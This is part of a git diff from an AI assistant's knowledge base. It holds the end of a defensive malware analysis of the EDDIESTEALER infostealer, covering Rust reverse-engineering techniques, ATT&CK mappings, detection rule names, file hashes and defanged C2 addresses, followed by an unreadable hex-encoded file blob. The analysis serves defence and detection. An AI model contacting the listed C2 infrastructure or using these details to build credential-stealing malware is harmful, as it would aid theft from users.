generate a `.tag` file, which maps any selected API calls to be recorded to the executing line in assembly. Rust's standard library functions call into WinAPIs under the hood, and this also captures any code that calls `WinAPI` functions directly, bypassing the standard library's abstraction. The tag file can then be imported into decompiler tools to automatically mark up the code blocks using plugins like [IFL](https://github.com/leandrofroes/bn_ifl). + +![Example comment markup after importing .tag file](/assets/images/eddiestealer/image5.png "Example comment markup after importing .tag file") + +### Panic Metadata for Code Segmentation + +[Panic metadata](https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/) - the embedded source file paths (.rs files), line numbers, and column numbers associated with panic locations - offers valuable clues for segmenting and understanding different parts of the binary. This, however, is only the case if such metadata has not been stripped from the binary. Paths like `apps\bin\src\services\chromium.rs`, `apps\bin\src\structs\additional_task.rs` or any path that looks like part of a custom project typically points to the application’s unique logic. Paths beginning with `library\src\` indicates code from the Rust standard library. Paths containing crate name and version such as `hashbrown-0.15.2\src\raw\mod.rs` point to external libraries. + +If the malware project has a somewhat organized codebase, the file paths in panic strings can directly map to logical modules. For instance, the decrypted string `apps\bin\src\utils\json.rs:48:39` is referenced in `sub_140011b4c`. + +![Panic string containing “json.rs” referenced in function sub_140011b4c](/assets/images/eddiestealer/image10.png "Panic string containing “json.rs” referenced in function sub_140011b4c") + +By examining the call tree for incoming calls to the function, many of them trace back to `sub_14002699d`. This function (`sub_14002699d`) is called within a known C2 communication routine (`jy::C2::RetrieveAndDecryptConfig`), right after decrypting additional configuration data known to be JSON formatted. + +![Call tree of function sub_140011b4c](/assets/images/eddiestealer/image30.png "Call tree of function sub_140011b4c") + +Based on the `json.rs` path and its calling context, an educated guess would be that `sub_14002699d` is responsible for parsing JSON data. We can verify it by stepping over the function call. Sure enough, by inspecting the stack struct that is passed as reference to the function call, it now points to a heap address populated with parsed configuration fields. + +![Function sub_14002699d successfully parsing configuration fields](/assets/images/eddiestealer/image37.png "Function sub_14002699d successfully parsing configuration fields") + +For standard library and open-source third-party crates, the file path, line number, and (if available) the rustc commit hash or crate version allow you to look up the exact source code online. + +### Stack Slot Reuse + +One of the optimization features involves reusing stack slots for variables/stack structs that don’t have overlapping timelines. Variables that aren’t “live” at the same time can share the same stack memory location, reducing the overall stack frame size. Essentially, a variable is live from the moment it is assigned a value until the last point where that value could be accessed. This makes the decompiled output confusing as the same memory offset may hold different types or values at different points. + +To handle this, we can define unions encompassing all possible types sharing the same memory offset within the function. + +![Stack slot reuse, resorting to UNION approach](/assets/images/eddiestealer/image32.png "Stack slot reuse, resorting to UNION approach") + +### Rust Error Handling and Enums + +Rust enums are tagged unions that define types with multiple variants, each optionally holding data, ideal for modeling states like success or failure. Variants are identified by a discriminant (tag). + +Error-handling code can be seen throughout the binary, making up a significant portion of the decompiled code. Rust's primary mechanism for error handling is the `Result` generic enum. It has two variants: `Ok(T)`, indicating success and containing a value of type `T`, and `Err(E)`, indicating failure and containing an error value of type `E`. + +In the example snippet below, a discriminant value of `0x8000000000000000` is used to differentiate outcomes of resolving the `CreateFileW` API. If `CreateFileW` is successfully resolved, the `reuse` variable type contains the API function pointer, and the `else` branch executes. Otherwise, the `if` branch executes, assigning an error information string from `reuse` to `arg1`. + +![Error handling example](/assets/images/eddiestealer/image13.png "Error handling example") + +For more information on how other common Rust types might look in memory, check out this [cheatsheet](https://cheats.rs/#memory-layout) and this amazing [talk](https://www.youtube.com/watch?v=SGLX7g2a-gw&t=749s) by Cindy Xiao! + +## Malware and MITRE ATT&CK + +Elastic uses the[ MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that threats use against enterprise networks. + +### Tactics + +* [Initial Access](https://attack.mitre.org/tactics/TA0001) +* [Execution](https://attack.mitre.org/tactics/TA0002) +* [Defense Evasion](https://attack.mitre.org/tactics/TA0005) +* [Exfiltration](https://attack.mitre.org/tactics/TA0010) +* [Credential Access](https://attack.mitre.org/tactics/TA0006/) +* [Discovery](https://attack.mitre.org/tactics/TA0007/) +* [Collection](https://attack.mitre.org/tactics/TA0009) + +### Techniques + +Techniques represent how an adversary achieves a tactical goal by performing an action. + +* [Phishing](https://attack.mitre.org/techniques/T1566/) +* [Content Injection](https://attack.mitre.org/techniques/T1659/) +* [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/) +* [Credentials from Password Stores](https://attack.mitre.org/techniques/T1555/) +* [User Execution](https://attack.mitre.org/techniques/T1204/) +* [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/) +* [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/) +* [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497/) + +## Detections + +### YARA + +Elastic Security has created the following YARA rules related to this research: + +* [Windows.Infostealer.EddieStealer](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_EddieStealer.yar) + +### Behavioral prevention rules + +* [Suspicious PowerShell Execution](https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/execution_suspicious_powershell_execution.toml) +* [Ingress Tool Transfer via PowerShell](https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/command_and_control_ingress_tool_transfer_via_powershell.toml) +* [Potential Browser Information Discovery](https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/discovery_potential_browser_information_discovery.toml) +* [Potential Self Deletion of a Running Executable](https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/defense_evasion_potential_self_deletion_of_a_running_executable.toml) + +## Observations + +The following observables were discussed in this research. + +| Observable | Type | Name | Reference | +|------------------------------------------------------------------|--------------|------------------------------------------------------------------------------------------------|--------------------------------------------------------------| +| `47409e09afa05fcc9c9eff2c08baca3084d923c8d82159005dbae2029e1959d0` | SHA-256 | `MvUlUwagHeZd.exe` | EDDIESTEALER | +| `162a8521f6156070b9a97b488ee902ac0c395714aba970a688d54305cb3e163f` | SHA-256 | `:metadata (copy)` | EDDIESTEALER | +| `f8b4e2ca107c4a91e180a17a845e1d7daac388bd1bb4708c222cda0eff793e7a` | SHA-256 | `AegZs85U6COc.exe` | EDDIESTEALER | +| `53f803179304e4fa957146507c9f936b38da21c2a3af4f9ea002a7f35f5bc23d` | SHA-256 | `:metadata (copy)` | EDDIESTEALER | +| `20eeae4222ff11e306fded294bebea7d3e5c5c2d8c5724792abf56997f30aaf9` | SHA-256 | `PETt3Wz4DXEL.exe` | EDDIESTEALER | +| `1bdc2455f32d740502e001fce51dbf2494c00f4dcadd772ea551ed231c35b9a2` | SHA-256 | `Tk7n1al5m9Qc.exe` | EDDIESTEALER | +| `d905ceb30816788de5ad6fa4fe108a202182dd579075c6c95b0fb26ed5520daa` | SHA-256 | `YykbZ173Ysnd.exe` | EDDIESTEALER | +| `b8b379ba5aff7e4ef2838517930bf20d83a1cfec5f7b284f9ee783518cb989a7` | SHA-256 | `2025-04-03_20745dc4d048f67e0b62aca33be80283_akira_cobalt-strike_satacom` | EDDIESTEALER | +| `f6536045ab63849c57859bbff9e6615180055c268b89c613dfed2db1f1a370f2` | SHA-256 | `2025-03-23_6cc654225172ef70a189788746cbb445_akira_cobalt-strike` | EDDIESTEALER | +| `d318a70d7f4158e3fe5f38f23a241787359c55d352cb4b26a4bd007fd44d5b80` | SHA-256 | `2025-03-22_c8c3e658881593d798da07a1b80f250c_akira_cobalt-strike` | EDDIESTEALER | +| `73b9259fecc2a4d0eeb0afef4f542642c26af46aa8f0ce2552241ee5507ec37f` | SHA-256 | `2025-03-22_4776ff459c881a5b876da396f7324c64_akira_cobalt-strike` | EDDIESTEALER | +| `2bef71355b37c4d9cd976e0c6450bfed5f62d8ab2cf096a4f3b77f6c0cb77a3b` | SHA-256 | `TWO[1].file` | EDDIESTEALER | +| `218ec38e8d749ae7a6d53e0d4d58e3acf459687c7a34f5697908aec6a2d7274d` | SHA-256 | | EDDIESTEALER | +| `5330cf6a8f4f297b9726f37f47cffac38070560cbac37a8e561e00c19e995f42` | SHA-256 | `verifcheck.exe` | EDDIESTEALER | +| `acae8a4d92d24b7e7cb20c0c13fd07c8ab6ed8c5f9969504a905287df1af179b` | SHA-256 | `3zeG4jGjFkOy.exe` | EDDIESTEALER | +| `0f5717b98e2b44964c4a5dfec4126fc35f5504f7f8dec386c0e0b0229e3482e7` | SHA-256 | `verification.exe` | EDDIESTEALER | +| `e8942805238f1ead8304cfdcf3d6076fa0cdf57533a5fae36380074a90d642e4` | SHA-256 | `g_verify.js` | EDDIESTEALER loader | +| `7930d6469461af84d3c47c8e40b3d6d33f169283df42d2f58206f43d42d4c9f4` | SHA-256 | `verif.js` | EDDIESTEALER loader | +| `45.144.53[.]145` | ipv4-addr | | EDDIESTEALER C2 | +| `84.200.154[.]47` | ipv4-addr | | EDDIESTEALER C2 | +| `shiglimugli[.]xyz` | domain-name | | EDDIESTEALER C2 | +| `xxxivi[.]com` | domain-name | | EDDIESTEALER C2 and intermediate infrastructure | +| `llll[.]fit` | domain-name | | EDDIESTEALER intermediate infrastructure | +| `plasetplastik[.]com` | domain-name | | EDDIESTEALER intermediate infrastructure | +| `militrex[.]wiki` | domain-name | | EDDIESTEALER intermediate infrastructure | + +## References + +The following were referenced throughout the above research: + +* [https://github.com/N0fix/rustbinsign](https://github.com/N0fix/rustbinsign) +* [https://github.com/Meckazin/ChromeKatz](https://github.com/Meckazin/ChromeKatz) +* [https://github.com/hasherezade/tiny_tracer](https://github.com/hasherezade/tiny_tracer) +* [https://docs.binary.ninja/dev/uidf.html](https://docs.binary.ninja/dev/uidf.html) +* [https://www.unicorn-engine.org/](https://www.unicorn-engine.org/) +* [https://github.com/LloydLabs/delete-self-poc/tree/main](https://github.com/LloydLabs/delete-self-poc/tree/main) +* [https://cheats.rs/#memory-layout](https://cheats.rs/#memory-layout) +* [https://www.youtube.com/watch?v=SGLX7g2a-gw&t=749s](https://www.youtube.com/watch?v=SGLX7g2a-gw&t=749s) +* [https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/](https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/) diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/elastic_security_opens_public_detection_rules_repo.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/elastic_security_opens_public_detection_rules_repo.encoded.md index 3869c02da7a0f..83c6ad4cf1281 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/elastic_security_opens_public_detection_rules_repo.encoded.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/elastic_security_opens_public_detection_rules_repo.encoded.md @@ -1 +1 @@ -a7984d3c7e678f96b0761270e0392e630fb63db803a4731b58b767cce557d95464481d8d6f83be796ccc0f6e3c55a88899db0a44bcf873eb4d0bcab1e361c6a73898343f350153167f9f8184df43a618634f288fd86e6746c77826e86b97922f1bc1f2842d696183835b5290acfa39f1cb38f4b0385f7224dda6de582d3e67df7e2085e3d613420f194372be290a99850f44d9e516e7af58b8936314fddd745749d0cf3619cdb848d966d632f96598017d263bfdf125c44330e7634dbbe472d452942fc98793d1285b0388cd6d382eae9a222b535bee89a958e80397585e2c18d0bca0589fad83ce1f1e82da6ab1317995abceb1c6048dfc88987f21086a0faf7eba366d7ce762c9abb66e9bd2478d0d5bba7a4f8d4042cd32dca9f5ab25d8224434430adc810a49166c17cffbe268392f2bd90507eded4f2c0a86def61f237ff29ab5f2988618b7068ed0f9a8bc282c1dd2f24cfbc4d5e1d763e83a467dff995d0aa279eddf3ae8850a3eb63cd79b789f4ebaec96d4ac985a668f1442c67946ecafd5fae8331f9aa5fe2cae82fba6a28ae096eec403f98b5f418f089d416991d07d2f15bf94f84a56ca6512dfb06c3b6395d1105024f3949a769147c0fe441d100cffef1228f680908f1c029ef86471f0d4e9592bc3886edbc09bc6f39122d81a0dd523602c506033a54a697772b63207c8d60645759580f4670fcd178ad67b4f1ac485c5057a1ba7b27cb31e50731728ba0b7ce9283dec6f9ebb207bbad4b4f834289fc4cfc85d93a7d2405ed685710bea09c8125b8c204d894fc52a0819f14117625b707ea9ab866bb1c9147f62581245c36fc83b6d85ad29b7e1630a06d61a769c3ead9222d477430f4ea5f7c2a308bb1b8ad1dad9f818fffaba5036679061e4098cc1b5f578bbaa750578f4b903f9202bdb963b02f87a84c0622371b93697432123808bbac6902704a1a989cd20807c87684b30f8eb2f740a851e314e1bfd16dcbc840b8dc0c16edf08d0c6948b90341e6fc6e65f89b1aefc6ff848540d9861df818e7cc1620197057cce487e60475f4ec8796ce125d990a7471849ad752b64fd3e3c317e297dcd35b83b5add7d150567a91f2a3ec5b25a6689a22cb263f342e13d44ab140340abca84c60ec6bd2fca267a3b993db9b16cf77d29819ad391ca34d3bf0e6402b6c51367b1d2c1af399a71ab6b331006faa330de79113f47e0c098c35e6980ea0c450d6422c395ba4a6f30d2bff8e7d7db80b967a95909630f18fbe04e4708dfc4f23909ee2e8773e962b5c423e5861765fd5972e3cd462462f750004dafe5f4583726d3ce86b959bb0550dc744e95542b3add6c1a2a4d83edde70fde68d72d8aece062dc00b3e1c52f7ecc894ed0445bef25479ee57ef9997105cec94be372fef32b2df714fc32f12d1883231b46fe70a6d5dea085f8e33fc158aa4f91adac82c88c64a9d5ca0d359f20658122df62065d60fd63549967b4d8c1b190e1e3dfc41d28f4a8577779add1634d5f646e6fd9f9cd6fc4543e5076294073784c82f5e2244c492993f4538cc372b63a037b5b021370be63af4fe56edeb59609289ee56d9c34c31a6ba5bd80b24d0b7d19cb6b5eb873e25705c4aab4029952a5927310500c0efb46957d80df37cfa24e2c1827677e0938af9c23a15311e46d758d394b13899eb45381587ff3dd4f5556fcd302867d4fbb083765f14952e18a93d7e74bd74eea08e09dffe9c2a9812f8413443374091b17c326bf14d5e1c9499c441d5b15d275af33dfede0b8209b26e391b011eb053d0529a5575a9dc6e50052f4379b7f9a3eeb5000592ab03ccb7a0e1b9fb52e475d8c30ed7729c34b414e6403af199a760334632b9f4851b99876d6cd1a9a5ff8f0cedb271eb565c279f43c393c3cc954ee2501724e5611bf39fa7ef18b405482bd4163f31c06c40436ef0e1a39584d02885f95eaa1006d94fc93943e5a6755f6418bf1021e4f731d237325f4540d2a4ec24866de74cef00515ec51017433aa4920dcf3f2c64e89b710e811961a1b5ea0f481d98d988ae278a5b355b68703e9e81108044a2edb50184d7579706959923ee669750403e36f77962a8b09db50f6a51f4749535d6db579cbb98818a1b15314184d542c7a39cbd5c41bccdc8ba77c15884cbc16dc9d3665ab8fe96d0486027039cb956b854d03500db86f6a1d242b0c6b601896aa70be73e838c722606e535301780e5f53583eb4cf7590c0f9fde609f6506a5b80b6c8a25772d39b00b26bc3c3cad887381929477cd09ca41364f1916d954a0a05ba4afd5e16747267898d655639b7a0591d10409502d90da274013913a329bdedc31ff6eea2fb157a1f70390903613f5bf336b16b702bc03023b8fb7c0f9b3e8edbec728650300077106a2042f977d2267f7cac5e64c5813c95eae0a0f04077013232d87d7fb0fd2703ab5507a48bf85a4ec791ec7d8bdb037ed74430353ee9c6eda868cdbfa149fca76e00f0f3127ce9aa728d20d2be52070a4e287f975444c0f63fe1a91440468ba92911345f8fab8b0f2722cbde25b1703b8051155d330198246a35b2f508c21a707dad956d7d48534415138d61b0d68ec0ec7b857d8e2dfc66ea7701f5944452626557892d33ef69d5fb8b385684e16fa3eb1dbb238ec6318c1fd760600dfd007fad97d067039f81266fb9ccf2d7358c08e840bf80ed36f6fc3a5a04c71f325d564250ffe55c3855607250956bf49ad65884b39981fad446257d4e9536f28b37776a45bc3f2b4aa60b50b138307417f1c6c1c9ce2334201cac8e48c68310bee0d012a1da922554e2eae928ac06c877f4dd7be16a3c78bc2994c455b574fe44d6cb3c5984768ce9316edbdee0b6c1dd02f06facfaa47bdf921ea481ae64a4b37f96a8a55c48068381ff8beb24f1badceecc0c00f068fa80b7d88dea40b1fd52d05809aaca84776050ca6112ec466b196e8023061de3bd84e76b76e06f9ede40528efc910fd5cbb10a250447bf9c72d65900f22898e5f85b63dfcd93e6f91414217378ae3d96454590d8a67470981378b1412b04da9773e18a59cfe810c6db984018bfdba43b4b06e8a7939bfb58693852d832b96cfd48cd78c452eb9e891a66815621199acdfb661423b1f6389ff3e334c46d86e61d38472bbb49f8568e3732b2cc58b2cce9a8d615b82cca97d8eafa67f9363cfd4f53e420ae274c1d0bcce6666a03b0d2c63995515be237ee599418fc99f646b820987b6b76a913134e603ff553aea6c81f5be4f58d63cad4f3c2ca51a85475ca7037615ae81264412ea2e0b31f072233012cf4419168ff0d28238c88bdefee9522af6ac8993cd796658d313566df628bb65f8cbdb3f4cbe087f4ca17013b5660c34c63974def4e7e6465d2f60bac91626870c432d3e822daed5c0ba42520c687e8f08032ef9d27348e09ba236a17a5b2c324353ea84bfa4d9bf9b1dffa5863bf878ce8046e7198051ca6557e83693450c1302061bc5ca72b302a9fa233263db009d72779411643f99f00dc0f77eb093b37dc19826321bc29d257aa7c16cfd5ac943f2476ac3cc3b282088379502fe690460ecfb960b2f2c4ba223a70abceec065e65fac440252f7ecc894ed0445bef25479ee57ef990133603813c2aebbd332afd98f0e4fb91cc34ed364299bb1181386060fa9a639c95a44cdc33913f80e4f83821884cc9b65a6c267c8053adab9afd76d20f83b48cf33e5c4605f4d87f961f8637a61fa991cdf69750ff130acdd93717783956a70477780623b589e73a9fc0173473f4e0f841173c40c0764d8d830e53ea193eddc3153e50d9c393c5e870dae702b126269b3065c6fbb9ad60270addb779d90db6d32c6327c98e166e378cef9e24241c8349fd0e747980ba36b1fb71e0982cd60b73fe93eac390766da60f8373ed0b74f08aa6ae2b239056a3c224c1d0dde55a0c244593aa78c1148520ddd1e05407ffcb3f2103dc21726617b4989d10a5fb3039e271be39a52317727c926d85ff9adee76f81e7e48264babb9f8c913d679a83ad0e9238f1072df52e5c6645cf0564b26cbad76c16ec62817fd4bd258f5f4099d9277f411c987ba6e2f35b5fb24ea8d86dd682eefd68b1a769dda901dd77805389df7849f3d7f2a0e7c242ca4085bab50951e113bf69acc9bec5a4b616434b73374e5535b7bb0d33e14969f0066cda055a53b22780c7f481ef4c92e5d10e53b40adef8bf575b613c4a1d04c14994a57768047a3670d2ceaf0b62cabec91ed1f63cdfbe634db9e7b7f9f1f4700de630125398acbe4b7f6c9adf3e848b1d4c31f6650f2965e374728823080034b8e568ddcc71ec406fda188539cc8612c3e9819e196368b156338344d3775eebb412194f066eab1772948f99225b1bdb0c4850f891662baf5ad644d2d044036ad4209656f7386032f64458584c44d02b253eba2b7582cb89a25cbddccfec4f5fa012ae5ec24aa0dce03abe88b08057fca80538a27b5596a23e3ef93849c03f93ae7c1c0a92a18799f6f729089c11c350dace5ce781dc8c983ce326e0681f00103d6042c70374f99eaa6a20ff142d5a43ee81f38c64b25d6e046e1cab7fb08eb38e625336506b35b8b736faa72b0c79e1e31f9bc45265345b0ba7ff23ccba66b6cd9466a472c345d38fcbb464cf0121fdc5233ecd500aed14b94d972c0053a87ad8da38c10609b99589d8cb18c03584183a05789a1b2e53c2de5b146c993105ff6207e336381d84b25853f9c6da7d1aaefad045e0044be70b5b54e3455f7dc8a696eaf143a1eb5175db18d9fb6dba799ac141ba0410ea3bf0dc56dedf4703eab25a20e6e068ba71b32c835e82e42ac5dfe9ebb94616d4edb22bb41a1b65481098f7ad8afe71f2f2c4ba223a70abceec065e65fac440252f7ecc894ed0445bef25479ee57ef996468138fdb03271454fabe8df883ff62295a34116e4ab0b9a58057eff5a0df2644c1c003d6e5c1c4cfc1e8b6a45cb399114c1810305fc3bc47df6e048783897a30e343832fcdcbb9b9220546b0f4fc9a90b81c9d8ff698fafdb24172865bc521da43c27a99f631ee24c32be77efca849204d59c5b2c0e2592a935ee9c2821cac4ff9dddd4051250e57982e425392193c9a1f840b9ac3c19e0fb2e36d33efa2c4d4c8fb43363e0da04db6ba322b65143ee842a6536a6dbebf2e289b1925e2a2099073b6cc729ef772fd4e198a83681b63881a980b8b7d6f2ee7af7c9ec0a5996e2389be379ec40b9d745b008306b96f84856625412c5a685137c818fe31aa40c5941d857c382629fee201ae082a05e7c2136ccc5ed072793a4f9fef215bf52487645effb25de699b2f4db750f635492c083fc8d91d20604a3fef4c32f8c575471914dbf86b440656e8d3875e191df70467c30fce60cfcee5461ef5f4c009d501673a402250984508299f01959d3e3c756489e323e38c50fec2dbea3278c5f36cd057c4393ed5136dcca97fc67f2d8f24bee4f5a6e54574b76f1a32fe71258f8737e85492280fb8f672f1e3e173a0cf5fa643fab59ac49cecfa0bbccfd55ebb3821ab1fffb38981e958e180c4068ce34696c7ef15a9e8f51a6d75b1b56e8eb2a526c38afcb5ed40cdb25920b2d7f331e38804a60f59b1d38fa459cc19fe1fba6513f4d54d79ff64b9a3482fbb1401467635519127aa25d1b42b066cc63b0efddafcbac0aead30b02ddaa78dcfaf431281a57cd099ad96c516c44ab5e3418740e1d61cdcc72682fc482354bf95d75b299f457af66776d370aea79e6d58e52cca3f4bd0e7b02a283e3aeb7aba893b8800f7562c445d5fa6a703d095552126a101e473ffbd3513c9b01896d77adb57655f9959438a06b12a2bcef56b6a55ae5b841e65ef35b08ad59ebc0f982743168515cba43313c38e85fc57b7b78686fd58b3ab6a815fe791ff1ec964efe9955c6013d59ba7368626204acd55d9924d51e8f2bae0b802444a10e8f46dcf830019d811db4a5712c3e8e5abd942104be551df894c231c5861a9955b7221fd012a4d0b4010fe9f1cfa908b8eb9b33af02ab0871042bf931c371e5cc63fd7129954f180381644de2ed8b6349a33b881cfb5b0c5e222688e51cb5034f8837561ee862d93ef380cf28e212345a2a3b1fb0926fb21fa1b3c39d27a25505eac397c6bdfc4abf32c0a720989566fbd6c319facb47f925db676a17d8bc1b1e0e2feab3c30c99644a1cbd0cd0d9ad7fd8fd6d0f09e3b65bd23c5126e1f630fd9330e4d4264e7d8de0a95bd4c32594abe6083721420e7297b0c107246bfa76b9eeddec656c6e37b13de543e9221ec2631a62eb602fbf91bfdf9cd79507889bbd14fbaab0eaedf8e2eff7f9491dee53cc65e6a89c260527fa03c9508720a5a07fc44298a2d0533ed046e773bd6632b0c86a12868cf3eaad719eb82b541cf428427a215fc25e9d2ce556a336d34955a046b2adca4606d45bb531cd912f20d5e971e4fdeee7047d4aaadc3df94bec380da1a74eb51812208ddb8c78e2e8a69685e2e3b8b7d1189d3fcd729a27cae5dd6dc1a0b42e962f7e0d8d2c7b35452dcc43e5e6e59e3f78ccf72a3eaef07de0154b41bc81bd6585fa76365bbc63a460ca601b136377f71e2dbe712f8e70766062addb550d31a9734d0b1d3e82ab57a1829be3e61085363cf141cbb13a75a1ded5808a1657f4998719c1535534a4a4a2c026b5d6eb942c79fd16c677d76e80c0b1296b16f32679fe69a649938eb5818e89b5714bff1956740556ec83a7a6a8e2f48646e959715dba04486aec3a73fae54fcecdb4559e25bb63d39d33023633513c083a97429126d0600e839cbbe7a18f8503a1f28ddcdafc9e144e40a9a80f82209cf05184dae93c18765f25ad17d2efe8ebe0bc566041a52f68ea9aa0c8f199b8d68ff168f541da204edb8783abcb90af9186b3d02d1a64cd9c170d0d476cc81dae954dda50c6f9439eac80b037a707b53fd1bd0ee3e2a01e4692f7ae1f6000e9cf5c2f63e2dca8a1f439344973fe8df23c5747509faf699237bb85c0ad10ba911b64e20fc903e94867892d68a5fd12e4307c9ed5b9a8f6c40dd582a010991d839e466876226b94dfe967091c6dfbd6964fd7db4599a02994fdf059081148c5131b1e9409dce83b1cd294fc66ab57a1829be3e61085363cf141cbb13a83f47096c002bb9611dc7e307b65b6cfbe60ecd50895fe90fdf2f0caa0eac8d920c013f266f05a0d446ec9f36c5b7873fa948206b46cc4901e5adf7bc17de2fc6efe01d7f803f0fbdbd6ff9f29a9557fcf910986116bbe9f9ed3fb44446b5a0e847b5b9ccad45f774062cc97b5258252e4c5878ce16fba4a1bc7a503ba31e0cc420f894b560679544ecb2d77d37f455665fff88e08d40c7f79a3dac7c5516a125db20adf1e208327f13429dff65595eada61fecb944a634bb6f8b37948cb1ffb0ad0c8c30c3e06c9081a0f25a441c1e1f7846b646b5a602e17244056ae71c37fddc56b8d7617437c00b2090ff2b415e96d79b9ea82cdeb4d41b59768bc6bb3b40e11d1decbca25b099165ac073695608456943628bef42f0ade4b4ccf692bc251d51b1805cd42847dd9c57ee0b13d772a2b9a39eacd404e4a2ef6d86294376c884c6e34d964fd1fef43962c9b762a3034d85e5ca242ba65b541fb4100750441eb2f0974458cd94330a117cbfd465fd5a0e27dce9afd70be0799fe86bea687bcece2f6e90fa9fb5c90c75c58a52430fe63f8d6b28fac467c90095abff585328e4664456915869dd4176db7fdd040fd705804cff10f2b692a320f4907fbf4caa2a5eab4937f4b8e4326aea26cc3885dd2a88f7f363f37777c7e9b2aa40d020ec64987d9022a60c14bbf62b2d5fa74345ffb2cb36446ef92b097859d8203eb53eeb6379f5fc270121789ed5aa1a186ae90393cd091117f1682ac58f4d542d9312990a8e5ad84f03b72c61b0a08aad956677a72073d842956a292fd1022a024ef62c06851d6f89d8ac341026b5332d102fe1ca5cc5d33873a9ae727cb056e6fd100652ff505d5a883c656f18b8f5fcf4631a92b6f4f59cfe5ae016875d50c7ffe18db854cb3616c9125d73cf6a98e30f1c401d95d1edab5d2354794a6350afe4759a73ac574825b76fa24eb76a99caa16be16637cef475d5d6fcac5d7d2ee8f25068e14e22b653fc0a9ee9b23b4a771f07795df1dd998a420663dbc3e52ca60757f3d30b42cdf958616c026d820884abb227d3b0427441b53100f3fa11492bbbcfe712194898f6728e97aafc5529336cf32fbdac7991af7d249ed735be14cd90de0487d69be03529c6ecc1b0d490e80324bb134fcff1568f3084c59d7c11e56f926a73dcf6c782b4af220df0fdf0edfa0688b8c3a0cfad5cc2d5db9fbe293bde697abdd6d5579cec0e555e7e608a408f29222a307cbdb63a26435a21aaf41841d22ea7bc356a14636d53bfc34f7990c5ac59310c8e6f68bdfd099ccfeb5ee56753bbb21943e3b1a950a57503685b7126e16674ba69bcbe775ea5884346a174e2404ea1dff48cbed73d63b2501616543d73baa892674fdf81a30756bc661c6bd8ef0e2a158627ea2b96789c97a327d00b90adca9652bd53d59985977bfd6d71978852a0c94b4af034885819a691073ec72a7d6889ecf6ea9652a3636da007cc427996493eb647840ead04535cf54b625f9704229f3f9dd24bcdbac2f5a94632c0edd6da676ca4c0f88b96f0f4f6f7a7492a2a3e0b2b998642b30e4440e4da1881eb41871c524cdff9873ea02793f78f21461417d30874a7f22853ef85c4b752d79b3ce2d90565dfe076851e297efa3c4fb90353408242b01be259bdfd63d794a50c9ed808e32d9538f8f2ae94c1275b646d1404d5af3ea3605beff730efd87ebcd9a15e14a22d27c9cd89de5a69c05c8575f7655b28d8e3904a009f87cd4ec68f02707a263615d644ca147a0244a66fc87e0acac12ce9cea272871ded1b2e15eb952a9090eaf17a7c302b91b84d8d298874266c4872df51c42827723a887ba1090809c0ba4175778304c5458667d3ab5fd269aba3e6a7537618265018adb9e11029aa5cc64e60754f04c6b85dd1dfe9cbc76c4fd84b92886e4b25af9ae9add1dca7949e3cab6941db3c4607a33437e1502d7fbee9d058f91fa86e453f397b38b18bf9d6a34bad052e4059a3fcd9a71638408a15382c0e6e7754eba48ad3419ec4bbb736fe29a7e90ff42679f6daeb75da7d6751df5dbaa50fbd8883ba0d362ad1bea85cce12740943747078d6588fdceba1f795413811d363a79a34ee1d15cb7054bd0d2b9416dbc1622b3251f9f475cd9763133d221af25078e2d2d5dba0b6dd541390ecd2b23b12669ef66e1f880a41f6a9cdcdb8d6c28c52762ba78e1f4778a2e1d0aebc61c1f0b2062f14e389953c5f9edb4bf6953df3b07665aafc6718927da5d96c49d0377a52af11fa234cdff7b95b1a7aa54b28fdd6d9a7d40ed7bd85c508c30ea41e69d1210cefe7b02ad2c854425e54ae6ec33be2d28ef1126288b4e986cce0580c3010e5c030d5d53542cbd96c402fc7a131c9a6c69fdaf13327ce1545cf5c7b4426b67bd41056c241eec73626b827552c6eba6af6398c1157fb26e31de737d48aa1d73dab7ab40368dbefd2a24e36c72b4a6a65d2275e212c3a1fb6618acd561479e2e8e170923c9e13490c46ac387d3ea8eb6c1ab97584f1b470b6467592ad78678eb1551a901625a8aaffa3b7745ba34f0010e2fe40f0b0ca755b8f84d273fc3700e029debb3a55c18ef06284fd301d2fe9a3357f44d7b8d900feeb95d4648aae591eb6cf7be54b7e419428b43517c0797ab221e7b71ce84688b9395f3029d903c151e5d6bafea24489eafc4d8e3a81af01ca424246d855562c5946331016daa360a264e8f5ebb8b7a04d99726543ded885bcf75cf17e80c75a35f49c97a6bf8b8d74a2e2122f44984d33874300c349ebe77f2d8114958c40d763054f3fec8d02097861b0259059161a97614c83ed589607881c600f7e0c7597be392cb17d098cbbd4c2b484f96b0efd25a012ed04c9b4478ea5c1be531b43acf957cbecc3a2808d84f92cde94fb3ed1c799a948ee0c91e987aa0a4e9003fdf921969058c14724627fe6e60a20c306399d56f21848ec58630f0a9a39f0dad27b04f00a53d0240668d67c97f4e5ce3fa0c598d42c335f5f5b4489774f51db9bd086b0504e6f5a8cf8487130a2248534378049824840adce93e61f688b62d6b438b7084a39e931d3ff3246da9e87a771da95820c23d0d8a7aa1aac30fcac163262ce84eb39b0b24aa27e0b65a20e68f9e69f16074251b533a0cdfd8ec6eef4d5dbab782e51995f8c68e8a329575f36822377d5a7ef062e436bc172ccf162355bf226ff63d12fdcb337b604466ed92da7fd9fce87d865ba07ab270c86124b568d06aa6623e13ce3aa48101be9e0e7446d9e3b939f71c14c328bd219dcf1ea99ee874258f657952db007ee03327d788350331b026887269162588b55d60a1c2ea7e7cd80e47841f3035cb1817a14fdf90e6e6